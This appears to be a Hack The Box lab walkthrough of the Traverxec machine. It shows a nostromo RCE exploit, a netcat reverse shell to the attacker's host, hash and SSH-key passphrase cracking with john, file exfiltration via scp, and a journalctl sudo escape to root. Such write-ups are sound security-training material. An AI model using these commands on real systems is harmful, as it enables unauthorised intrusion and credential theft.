< back

Got tired of having to sudo things so I switched to root on my kali VM


LHOST: xx.xx.xx.xx

Initial Enumeration

As always started off with an nmap scan

root@kali:~# nmap -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 08:22 EST
Nmap scan report for
Host is up (0.36s latency).
Not shown: 998 filtered ports
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open  http    nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.02 seconds

Did a directory traversal scan with gobuster too but it didn't yield anything interesting.

The http server on port 80 is running nostromo which is a pretty niche little webserver I haven't actually come across before.

Getting the foothold

A quick search on exploitdb shows that version 1.9.6 is vulnerable to RCE

root@kali:~# searchsploit nostromo
-------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                            |  Path
                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)      | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution                                    | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution      | exploits/linux/remote/35466.sh
-------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Let's give the script a try (after cleaning it up a bit)

root@kali:~# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py nosRCE.py
root@kali:~# vim nosRCE.py 
root@kali:~# dos2unix nosRCE.py 
root@kali:~# ./nosRCE.py 80 whoami
HTTP/1.1 200 OK
Date: Wed, 05 Feb 2020 14:34:25 GMT
Server: nostromo 1.9.6
Connection: close


Nice! We have successful remote code execution. Let's get a proper reverse shell using netcat and python.

root@kali:~# ./nosRCE.py 80 'nc -e /bin/bash xx.xx.xx.xx 8888'
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [] 34600
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ ^Z
[1]+  Stopped                 nc -vnlp 8888
root@kali:~# stty raw -echo

www-data@traverxec:/usr/bin$ ls /home

Seems like david is the user we need to pivot to.

Pivoting with permissions

I headed towards the nostromo config, and instantly found a .htpasswd file which ended up having a hash of david's password.

www-data@traverxec:/usr/bin$ ls /var/nostromo/
conf/   htdocs/ icons/  logs/   
www-data@traverxec:/usr/bin$ ls /var/nostromo/conf/
.htpasswd    mimes        nhttpd.conf  
www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/.htpasswd 

The $1$ at the beginning of the hash tells us this is a md5crypt hash, and since there is another string between $ signs we know that it's hashed with a salt.

Luckily our trusty mate johntheripper is able to crack md5crypt hashes and should make quick work of this.

root@kali:~# echo '$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/' > md5hash
root@kali:~# john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt md5hash 
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (?)
1g 0:00:01:00 DONE (2020-02-05 08:54) 0.01651g/s 174705p/s 174705c/s 174705C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

I tried to ssh [email protected] hoping the same password was reused but no luck there.

Next I look a deeper look at the nostromo config.

www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/nhttpd.conf 

servername              traverxec.htb
serverlisten            *
serveradmin             [email protected]
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html


logpid                  logs/nhttpd.pid


user                    www-data


htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd


/icons                  /var/nostromo/icons


homedirs                /home
homedirs_public         public_www

Looks like nostromo is serving home directories. Let's hit david's home directory up over http to see what we get.


So, there's files somewhere from david's home directory that we can access using nostromo, so the www-data user must have some read permissions to his home dir.

www-data@traverxec:/usr/bin$ ls -lah /home
total 12K
drwxr-xr-x  3 root  root  4.0K Oct 25 14:32 .
drwxr-xr-x 18 root  root  4.0K Oct 25 14:17 ..
drwx--x--x  5 david david 4.0K Feb  5 09:15 david

Hmmmm not quite.... we have execute permissions though, so we can change directory into /home/david and start enumerating further from there.

www-data@traverxec:/usr/bin$ cd /home/david
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied
www-data@traverxec:/home/david$ cat user.txt
cat: user.txt: Permission denied
www-data@traverxec:/home/david$ cat index.html
cat: index.html: No such file or directory
www-data@traverxec:/home/david$ cat public_www
cat: public_www: Is a directory
www-data@traverxec:/home/david$ ls public_www
index.html  protected-file-area
www-data@traverxec:/home/david$ ls -lah public_www/protected-file-area
total 16K
drwxr-xr-x 2 david david 4.0K Oct 25 17:02 .
drwxr-xr-x 3 david david 4.0K Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz

Very interesting, so nostromo is setup to serve /home/david/public_www as, and there's a subdirectory protected-file-area which is restricted using a .htaccess file. We can use basic HTTP auth to access this david:[email protected]/~david but there actually isn't even any need. Since we already have read acess to backup-ssh-identity-files.tgz I just copied the archive via ssh to my localhost.

www-data@traverxec:/home/david/public_www/protected-file-area$ scp backup-ssh-identity-files.tgz [email protected]:/tmp
Could not create directory '/var/www/.ssh'.
The authenticity of host 'xx.xx.xx.xx (xx.xx.xx.xx)' can't be established.
ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
[email protected]'s password: 
backup-ssh-identity-files.tgz                 100% 1915     6.1KB/s   00:00    
root@kali:~# mkdir david-ssh
root@kali:~# tar -xvf /tmp/backup-ssh-identity-files.tgz -C david-ssh
root@kali:~# cat david-ssh/home/david/.ssh/id_rsa
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F


Looks to be another passphrase protected RSA key. Once again john to the rescue!

root@kali:~# /usr/share/john/ssh2john.py david-ssh/home/david/.ssh/id_rsa > david_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt david_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (home/david/.ssh/id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-02-05 10:36) 0.1949g/s 2795Kp/s 2795Kc/s 2795KC/sa6_123..*7¡Vamos!
Session completed

And boom, we've got the passphrase hunter. Now to ssh in and grab the user flag.

root@kali:~# ssh -i home/david/.ssh/id_rsa [email protected]
Enter passphrase for key 'home/david/.ssh/id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Feb  5 10:15:22 2020 from
david@traverxec:~$ cat user.txt 


GTFOBin (if your terminal is short enough)

david@traverxec:~$ sudo -l
[sudo] password for david: 
david@traverxec:~$ find /bin -perm -4000
david@traverxec:~$ find / -perm -4000 -print 2>/dev/null

Nothing too interesting when I enumerated for SUID binaries and I couldn't run sudo -l without a password. I took a look in the home directory (probably shoulda done that first tbh) and found some interesting user written scripts in the bin folder.

david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ ls bin
server-stats.head  server-stats.sh  test.sh

david@traverxec:~$ cat bin/server-stats.sh 

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 
david@traverxec:~$ ./bin/server-stats.sh 
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                        jgs '"""""""""""""' 

Load:  11:12:07 up  1:59,  5 users,  load average: 1.14, 1.07, 1.00
Open nhttpd sockets: 20
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Wed 2020-02-05 09:12:30 EST, end at Wed 2020-02-05 11:14:16 EST. --
Feb 05 11:12:32 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:12:32 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:12:33 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:13:23 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:13:23 traverxec nhttpd[451]: sys_write_a: Connection reset by peer

So it looks like we can run /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service without password, executing /usr/bin/journalctl as root. So this command should be in /etc/sudoers as NOPASSWD for user david. Took a look at GTFOBins and luckily we can escape from journalctl and privelege escalate to get a root shell!

Only caveat in this case is that I had to resize my terminal to a height of less than 5 lines since the journalctl command was limiting the output to 5 lines.

david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-02-05 09:12:30 EST, end at Wed 2020
Feb 05 11:23:16 traverxec su[2454]: FAILED SU (to david) www-
Feb 05 11:23:51 traverxec su[2475]: pam_unix(su:auth): authen
Feb 05 11:23:53 traverxec su[2475]: FAILED SU (to david) www-
root@traverxec:/home/david# id
uid=0(root) gid=0(root) groups=0(root)
root@traverxec:/home/david# cat /root/root.txt 


Taking a look at the /etc/sudoers file I confirmed my suspicion.

root@traverxec:/home/david# cat /etc/sudoers
david   ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service